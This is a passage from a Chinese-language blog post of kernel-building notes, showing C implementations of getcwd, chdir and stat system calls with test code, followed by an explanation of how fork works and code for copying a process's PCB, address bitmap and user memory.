class="title">parent_dir_inode</span> = <span class="title">inode_open</span>(<span class="title">cur_part</span>, <span class="title">p_inode_nr</span>);</span></span><br><span class="line">   <span class="comment">/* 填充all_blocks,将该目录的所占扇区地址全部写入all_blocks */</span></span><br><span class="line">   <span class="keyword">uint8_t</span> block_idx = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span> all_blocks[<span class="number">140</span>] = &#123;<span class="number">0</span>&#125;, block_cnt = <span class="number">12</span>;</span><br><span class="line">   <span class="keyword">while</span> (block_idx &lt; <span class="number">12</span>) &#123;</span><br><span class="line">      all_blocks[block_idx] = parent_dir_inode-&gt;i_sectors[block_idx];</span><br><span class="line">      block_idx++;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">if</span> (parent_dir_inode-&gt;i_sectors[<span class="number">12</span>]) &#123;<span class="comment">// 若包含了一级间接块表,将共读入all_blocks.</span></span><br><span class="line">      ide_read(cur_part-&gt;my_disk, parent_dir_inode-&gt;i_sectors[<span class="number">12</span>], all_blocks + <span class="number">12</span>, <span class="number">1</span>);</span><br><span class="line">      block_cnt = <span class="number">140</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   inode_close(parent_dir_inode);</span><br><span class="line"></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir_entry</span>* <span class="title">dir_e</span> = (<span class="title">struct</span> <span class="title">dir_entry</span>*)<span class="title">io_buf</span>;</span></span><br><span class="line">   <span class="keyword">uint32_t</span> dir_entry_size = cur_part-&gt;sb-&gt;dir_entry_size;</span><br><span class="line">   <span class="keyword">uint32_t</span> dir_entrys_per_sec = (<span class="number">512</span> / dir_entry_size);</span><br><span class="line">   block_idx = <span class="number">0</span>;</span><br><span class="line">  <span class="comment">/* 遍历所有块 */</span></span><br><span class="line">   <span class="keyword">while</span>(block_idx &lt; block_cnt) &#123;</span><br><span class="line">      <span class="keyword">if</span>(all_blocks[block_idx]) &#123;      <span class="comment">// 如果相应块不为空则读入相应块</span></span><br><span class="line"> ide_read(cur_part-&gt;my_disk, all_blocks[block_idx], io_buf, <span class="number">1</span>);</span><br><span class="line"> <span class="keyword">uint8_t</span> dir_e_idx = <span class="number">0</span>;</span><br><span class="line"> <span class="comment">/* 遍历每个目录项 */</span></span><br><span class="line"> <span class="keyword">while</span>(dir_e_idx &lt; dir_entrys_per_sec) &#123;</span><br><span class="line">    <span class="keyword">if</span> ((dir_e + dir_e_idx)-&gt;i_no == c_inode_nr) &#123;</span><br><span class="line">       <span class="built_in">strcat</span>(path, <span class="string">"/"</span>);</span><br><span class="line">       <span class="built_in">strcat</span>(path, (dir_e + dir_e_idx)-&gt;filename);</span><br><span class="line">       <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    dir_e_idx++;</span><br><span class="line"> &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      block_idx++;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面是sys_getcwd的实现，其原型是<code>char *getcwd(char *buf, size_t size)</code>，buf若用户不提供就传入NULL，系统用malloc自动分配缓冲区，具体实现如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 把当前工作目录绝对路径写入buf, size是buf的大小. </span></span><br><span class="line"><span class="comment"> 当buf为NULL时,由操作系统分配存储工作路径的空间并返回地址</span></span><br><span class="line"><span class="comment"> 失败则返回NULL */</span></span><br><span class="line"><span class="function"><span class="keyword">char</span>* <span class="title">sys_getcwd</span><span class="params">(<span class="keyword">char</span>* buf, <span class="keyword">uint32_t</span> size)</span> </span>&#123;</span><br><span class="line">   <span class="comment">/* 确保buf不为空,若用户进程提供的buf为NULL,</span></span><br><span class="line"><span class="comment">   系统调用getcwd中要为用户进程通过malloc分配内存 */</span></span><br><span class="line">   ASSERT(buf != <span class="literal">NULL</span>);</span><br><span class="line">   <span class="keyword">void</span>* io_buf = sys_malloc(SECTOR_SIZE);</span><br><span class="line">   <span class="keyword">if</span> (io_buf == <span class="literal">NULL</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">cur_thread</span> = <span class="title">running_thread</span>();</span></span><br><span class="line">   <span class="keyword">int32_t</span> parent_inode_nr = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">int32_t</span> child_inode_nr = cur_thread-&gt;cwd_inode_nr;</span><br><span class="line">   ASSERT(child_inode_nr &gt;= <span class="number">0</span> &amp;&amp; child_inode_nr &lt; <span class="number">4096</span>);      <span class="comment">// 最大支持4096个inode</span></span><br><span class="line">   <span class="comment">/* 若当前目录是根目录,直接返回'/' */</span></span><br><span class="line">   <span class="keyword">if</span> (child_inode_nr == <span class="number">0</span>) &#123;</span><br><span class="line">      buf[<span class="number">0</span>] = <span class="string">'/'</span>;</span><br><span class="line">      buf[<span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">      <span class="keyword">return</span> buf;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="built_in">memset</span>(buf, <span class="number">0</span>, size);</span><br><span class="line">   <span class="keyword">char</span> full_path_reverse[MAX_PATH_LEN] = &#123;<span class="number">0</span>&#125;;  <span class="comment">// 用来做全路径缓冲区</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 从下往上逐层找父目录,直到找到根目录为止.</span></span><br><span class="line"><span class="comment">    * 当child_inode_nr为根目录的inode编号(0)时停止,</span></span><br><span class="line"><span class="comment">    * 即已经查看完根目录中的目录项 */</span></span><br><span class="line">   <span class="keyword">while</span> ((child_inode_nr)) &#123;</span><br><span class="line">      parent_inode_nr = get_parent_dir_inode_nr(child_inode_nr, io_buf);</span><br><span class="line">      <span class="keyword">if</span> (get_child_dir_name(parent_inode_nr, child_inode_nr, full_path_reverse, io_buf) == <span class="number">-1</span>) &#123;  <span class="comment">// 或未找到名字,失败退出</span></span><br><span class="line"> sys_free(io_buf);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      child_inode_nr = parent_inode_nr;</span><br><span class="line">   &#125;</span><br><span class="line">   ASSERT(<span class="built_in">strlen</span>(full_path_reverse) &lt;= size);</span><br><span class="line"><span class="comment">/* 至此full_path_reverse中的路径是反着的,</span></span><br><span class="line"><span class="comment"> * 即子目录在前(左),父目录在后(右) ,</span></span><br><span class="line"><span class="comment"> * 现将full_path_reverse中的路径反置 */</span></span><br><span class="line">   <span class="keyword">char</span>* last_slash;<span class="comment">// 用于记录字符串中最后一个斜杠地址</span></span><br><span class="line">   <span class="keyword">while</span> ((last_slash = <span class="built_in">strrchr</span>(full_path_reverse, <span class="string">'/'</span>))) &#123;</span><br><span class="line">      <span class="keyword">uint16_t</span> len = <span class="built_in">strlen</span>(buf);</span><br><span class="line">      <span class="built_in">strcpy</span>(buf + len, last_slash);</span><br><span class="line">      <span class="comment">/* 在full_path_reverse中添加结束字符,做为下一次执行strcpy中last_slash的边界 */</span></span><br><span class="line">      *last_slash = <span class="number">0</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   sys_free(io_buf);</span><br><span class="line">   <span class="keyword">return</span> buf;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Linux中采用chdir改变当前工作目录，原型是<code>int chdir(const char *path)</code>，我们先实现接口sys_chdir</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 更改当前工作目录为绝对路径path,成功则返回0,失败返回-1 */</span></span><br><span class="line"><span class="keyword">int32_t</span> sys_chdir(<span class="keyword">const</span> <span class="keyword">char</span>* path) &#123;</span><br><span class="line">   <span class="keyword">int32_t</span> ret = <span class="number">-1</span>;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">path_search_record</span> <span class="title">searched_record</span>;</span>  </span><br><span class="line">   <span class="built_in">memset</span>(&amp;searched_record, <span class="number">0</span>, <span class="keyword">sizeof</span>(struct path_search_record));</span><br><span class="line">   <span class="keyword">int</span> inode_no = search_file(path, &amp;searched_record);</span><br><span class="line">   <span class="keyword">if</span> (inode_no != <span class="number">-1</span>) &#123;</span><br><span class="line">      <span class="keyword">if</span> (searched_record.file_type == FT_DIRECTORY) &#123;</span><br><span class="line"> running_thread()-&gt;cwd_inode_nr = inode_no;</span><br><span class="line"> ret = <span class="number">0</span>;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> printk(<span class="string">"sys_chdir: %s is regular file or other!\n"</span>, path);</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   dir_close(searched_record.parent_dir); </span><br><span class="line">   <span class="keyword">return</span> ret;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>任务工作目录记录在PCB中的cwd_incode_nr中，修改工作目录的核心即修改cwd_incode_nr，接下来在main中进行测试，首先获取当前工作目录并输出，然后将目录改为/dir1，最后再次获得目录并输出</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line"><span class="comment">/********  测试代码  ********/</span></span><br><span class="line">   <span class="keyword">char</span> cwd_buf[<span class="number">32</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">   sys_getcwd(cwd_buf, <span class="number">32</span>);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"cwd:%s\n"</span>, cwd_buf);</span><br><span class="line">   sys_chdir(<span class="string">"/dir1"</span>);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"change cwd now\n"</span>);</span><br><span class="line">   sys_getcwd(cwd_buf, <span class="number">32</span>);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"cwd:%s\n"</span>, cwd_buf);</span><br><span class="line"><span class="comment">/********  测试代码  ********/</span></span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试结果如下</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/106.png" alt></p><h2 id="获得文件属性"><a href="#获得文件属性" class="headerlink" title="获得文件属性"></a>获得文件属性</h2><p>在Linux中输入ls -l命令查看目录的时候不仅显示目录中文件，还显示了属性信息，其底层实现是反复使用系统调用write和stat64，其中stat64负责获得文件的属性信息，是64位版本的stat函数，write负责打印信息到屏幕，首先我们需要实现sys_stat，结构体添加如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 文件属性结构体 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">stat</span> &#123;</span></span><br><span class="line">   <span class="keyword">uint32_t</span> st_ino; <span class="comment">// inode编号</span></span><br><span class="line">   <span class="keyword">uint32_t</span> st_size; <span class="comment">// 尺寸c</span></span><br><span class="line">   <span class="keyword">enum</span> file_types st_filetype; <span class="comment">// 文件类型</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>下面是具体实现，首先path判断是否为根目录，如果是就直接在buf中写入根目录信息，若不是则进一步获取信息</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 在buf中填充文件结构相关信息,成功时返回0,失败返回-1 */</span></span><br><span class="line"><span class="keyword">int32_t</span> sys_stat(<span class="keyword">const</span> <span class="keyword">char</span>* path, struct stat* buf) &#123;</span><br><span class="line">   <span class="comment">/* 若直接查看根目录'/' */</span></span><br><span class="line">   <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(path, <span class="string">"/"</span>) || !<span class="built_in">strcmp</span>(path, <span class="string">"/."</span>) || !<span class="built_in">strcmp</span>(path, <span class="string">"/.."</span>)) &#123;</span><br><span class="line">      buf-&gt;st_filetype = FT_DIRECTORY;</span><br><span class="line">      buf-&gt;st_ino = <span class="number">0</span>;</span><br><span class="line">      buf-&gt;st_size = root_dir.inode-&gt;i_size;</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">int32_t</span> ret = <span class="number">-1</span>;<span class="comment">// 默认返回值</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">path_search_record</span> <span class="title">searched_record</span>;</span></span><br><span class="line">   <span class="built_in">memset</span>(&amp;searched_record, <span class="number">0</span>, <span class="keyword">sizeof</span>(struct path_search_record));   <span class="comment">// 记得初始化或清0,否则栈中信息不知道是什么</span></span><br><span class="line">   <span class="keyword">int</span> inode_no = search_file(path, &amp;searched_record);</span><br><span class="line">   <span class="keyword">if</span> (inode_no != <span class="number">-1</span>) &#123;</span><br><span class="line">      <span class="class"><span class="keyword">struct</span> <span class="title">inode</span>* <span class="title">obj_inode</span> = <span class="title">inode_open</span>(<span class="title">cur_part</span>, <span class="title">inode_no</span>);</span>   <span class="comment">// 只为获得文件大小</span></span><br><span class="line">      buf-&gt;st_size = obj_inode-&gt;i_size;</span><br><span class="line">      inode_close(obj_inode);</span><br><span class="line">      buf-&gt;st_filetype = searched_record.file_type;</span><br><span class="line">      buf-&gt;st_ino = inode_no;</span><br><span class="line">      ret = <span class="number">0</span>;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      printk(<span class="string">"sys_stat: %s not found\n"</span>, path);</span><br><span class="line">   &#125;</span><br><span class="line">   dir_close(searched_record.parent_dir);</span><br><span class="line">   <span class="keyword">return</span> ret;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接下来在main中测试，分别获取根目录和/dir目录的信息</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line"><span class="comment">/********  测试代码  ********/</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">stat</span> <span class="title">obj_stat</span>;</span></span><br><span class="line">   sys_stat(<span class="string">"/"</span>, &amp;obj_stat);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"/`s info\n   i_no:%d\n   size:%d\n   filetype:%s\n"</span>, \</span><br><span class="line"> obj_stat.st_ino, obj_stat.st_size, \</span><br><span class="line"> obj_stat.st_filetype == <span class="number">2</span> ? <span class="string">"directory"</span> : <span class="string">"regular"</span>);</span><br><span class="line">   sys_stat(<span class="string">"/dir1"</span>, &amp;obj_stat);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"/dir1`s info\n   i_no:%d\n   size:%d\n   filetype:%s\n"</span>, \</span><br><span class="line"> obj_stat.st_ino, obj_stat.st_size, \</span><br><span class="line"> obj_stat.st_filetype == <span class="number">2</span> ? <span class="string">"directory"</span> : <span class="string">"regular"</span>);</span><br><span class="line"><span class="comment">/********  测试代码  ********/</span></span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试结果如下</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/107.png" alt></p><h1 id="系统交互"><a href="#系统交互" class="headerlink" title="系统交互"></a>系统交互</h1><h2 id="fork的原理"><a href="#fork的原理" class="headerlink" title="fork的原理"></a>fork的原理</h2><p>fork原型是<code>pid_t fork(void)</code>，我们首先测试一段代码，观察其性质</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> pid = fork();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (pid == <span class="number">-1</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (pid)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">"I am father, my pid is %d\n"</span>, getpid());</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">"I am child, my pid is %d\n"</span>, getpid());</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面是与运行结果，你会发现if和else分支都执行了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">I am father, my pid is 103461</span><br><span class="line">I am child, my pid is 103462</span><br></pre></td></tr></table></figure><p>fork的作用是克隆进程，它有三个返回值</p><ul><li>该进程为父进程时，返回子进程的pid</li><li>该进程为子进程时，返回0</li><li>fork执行失败，返回-1</li></ul><p>进程是运行的程序，比如程序a运行变成了进程a，同时又加载了一次程序a到内存，就有两个一模一样的程序体，但用户输入不同，就会有不同的执行分支。总结来说fork就是克隆进程，克隆的进程称为子进程，和父进程的区别就是子进程是在fork返回之后开始执行的，上例fork之后子进程和父进程的下一个执行语句都为<code>if (pid == -1)</code></p><h2 id="fork的实现"><a href="#fork的实现" class="headerlink" title="fork的实现"></a>fork的实现</h2><p>fork就是把某个进程的全部资源复制了一份，然后让处理器的cs:eip寄存器指向新进程的指令部分，故fork需要先复制资源，然后跳过去执行，复制的资源包括</p><ul><li>进程的PCB</li><li>程序体</li><li>用户栈</li><li>内核栈</li><li>虚拟地址池</li><li>页表</li></ul><p>克隆进程的执行只需要将其放入就绪队列即可，下面是一些拷贝操作</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 将父进程的pcb、虚拟地址位图拷贝给子进程 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> int32_t <span class="title">copy_pcb_vaddrbitmap_stack0</span><span class="params">(struct task_struct* child_thread, struct task_struct* parent_thread)</span> </span>&#123;</span><br><span class="line"><span class="comment">/* a 复制pcb所在的整个页,里面包含进程pcb信息及特级0极的栈,里面包含了返回地址, 然后再单独修改个别部分 */</span></span><br><span class="line">   <span class="built_in">memcpy</span>(child_thread, parent_thread, PG_SIZE);</span><br><span class="line">   child_thread-&gt;pid = fork_pid();</span><br><span class="line">   child_thread-&gt;elapsed_ticks = <span class="number">0</span>;</span><br><span class="line">   child_thread-&gt;status = TASK_READY;</span><br><span class="line">   child_thread-&gt;ticks = child_thread-&gt;priority;   <span class="comment">// 为新进程把时间片充满</span></span><br><span class="line">   child_thread-&gt;parent_pid = parent_thread-&gt;pid;</span><br><span class="line">   child_thread-&gt;general_tag.prev = child_thread-&gt;general_tag.next = <span class="literal">NULL</span>;</span><br><span class="line">   child_thread-&gt;all_list_tag.prev = child_thread-&gt;all_list_tag.next = <span class="literal">NULL</span>;</span><br><span class="line">   block_desc_init(child_thread-&gt;u_block_desc);</span><br><span class="line"><span class="comment">/* b 复制父进程的虚拟地址池的位图 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span> bitmap_pg_cnt = DIV_ROUND_UP((<span class="number">0xc0000000</span> - USER_VADDR_START) / PG_SIZE / <span class="number">8</span> , PG_SIZE);</span><br><span class="line">   <span class="keyword">void</span>* vaddr_btmp = get_kernel_pages(bitmap_pg_cnt);</span><br><span class="line">   <span class="keyword">if</span> (vaddr_btmp == <span class="literal">NULL</span>) <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   <span class="comment">/* 此时child_thread-&gt;userprog_vaddr.vaddr_bitmap.bits还是指向父进程虚拟地址的位图地址</span></span><br><span class="line"><span class="comment">    * 下面将child_thread-&gt;userprog_vaddr.vaddr_bitmap.bits指向自己的位图vaddr_btmp */</span></span><br><span class="line">   <span class="built_in">memcpy</span>(vaddr_btmp, child_thread-&gt;userprog_vaddr.vaddr_bitmap.bits, bitmap_pg_cnt * PG_SIZE);</span><br><span class="line">   child_thread-&gt;userprog_vaddr.vaddr_bitmap.bits = vaddr_btmp;</span><br><span class="line">   <span class="comment">/* 调试用 */</span></span><br><span class="line">   ASSERT(<span class="built_in">strlen</span>(child_thread-&gt;name) &lt; <span class="number">11</span>);<span class="comment">// pcb.name的长度是16,为避免下面strcat越界</span></span><br><span class="line">   <span class="built_in">strcat</span>(child_thread-&gt;name,<span class="string">"_fork"</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 复制子进程的进程体(代码和数据)及用户栈 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">copy_body_stack3</span><span class="params">(struct task_struct* child_thread, struct task_struct* parent_thread, <span class="keyword">void</span>* buf_page)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint8_t</span>* vaddr_btmp = parent_thread-&gt;userprog_vaddr.vaddr_bitmap.bits;</span><br><span class="line">   <span class="keyword">uint32_t</span> btmp_bytes_len = parent_thread-&gt;userprog_vaddr.vaddr_bitmap.btmp_bytes_len;</span><br><span class="line">   <span class="keyword">uint32_t</span> vaddr_start = parent_thread-&gt;userprog_vaddr.vaddr_start;</span><br><span class="line">   <span class="keyword">uint32_t</span> idx_byte = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span> idx_bit = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span> prog_vaddr = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 在父进程的用户空间中查找已有数据的页 */</span></span><br><span class="line">   <span class="keyword">while</span> (idx_byte &lt; btmp_bytes_len) &#123;</span><br><span class="line">      <span class="keyword">if</span> (vaddr_btmp[idx_byte]) &#123;</span><br><span class="line"> idx_bit = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">while</span> (idx_bit &lt; <span class="number">8</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span> ((BITMAP_MASK &lt;&lt; idx_bit) &amp; vaddr_btmp[idx_byte]) &#123;</span><br><span class="line">       prog_vaddr = (idx_byte * <span class="number">8</span> + idx_bit) * PG_SIZE + vaddr_start;</span><br><span class="line"> <span class="comment">/* 下面的操作是将父进程用户空间中的数据通过内核空间做中转,最终复制到子进程的用户空间 */</span></span><br><span class="line"></span><br><span class="line">       <span class="comment">/* a 将父进程在用户空间中的数据复制到内核缓冲区buf_page,</span></span><br><span class="line"><span class="comment">       目的是下面切换到子进程的页表后,还能访问到父进程的数据*/</span></span><br><span class="line">       <span class="built_in">memcpy</span>(buf_page, (<span class="keyword">void</span>*)prog_vaddr, PG_SIZE);</span><br><span class="line"></span><br><span class="line">       <span class="comment">/* b 将页表切换到子进程,目的是避免下面申请内存的函数将pte及pde安装在父进程的页表中 */</span></span><br><span class="line">       page_dir_activate(child_thread);</span><br><span class="line">       <span class="comment">/* c 申请虚拟地址prog_vaddr */</span></span><br><span class="line">       get_a_page_without_opvaddrbitmap(PF_USER, prog_vaddr);</span><br><span class="line"></span><br><span class="line">       <span class="comment">/* d 从内核缓冲区中将父进程数据复制到子进程的用户空间 */</span></span><br><span class="line">       <span class="built_in">memcpy</span>((<span class="keyword">void</span>*)prog_vaddr, buf_page, PG_SIZE);</span><br><span class="line"></span><br><span class="line">       <span class="comment">/* e 恢复父进程页表 */</span></span><br><span class="line">       page_dir_activate(parent_thread);</span><br><span class="line">    &#125;</span><br><span class="line">    idx_bit++;</span><br><span class="line"> &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      idx_byte++;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>父进程调用fork时会进入内核态进行系统调用，中断入口程序会保存父进程的上下文和cs:ip，因此才会正常返回执行后面的代码，子进程要从fork后开始执行，就需要和父进程一样从中断退出，经过intr_exit，下面是具体实现部分</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span 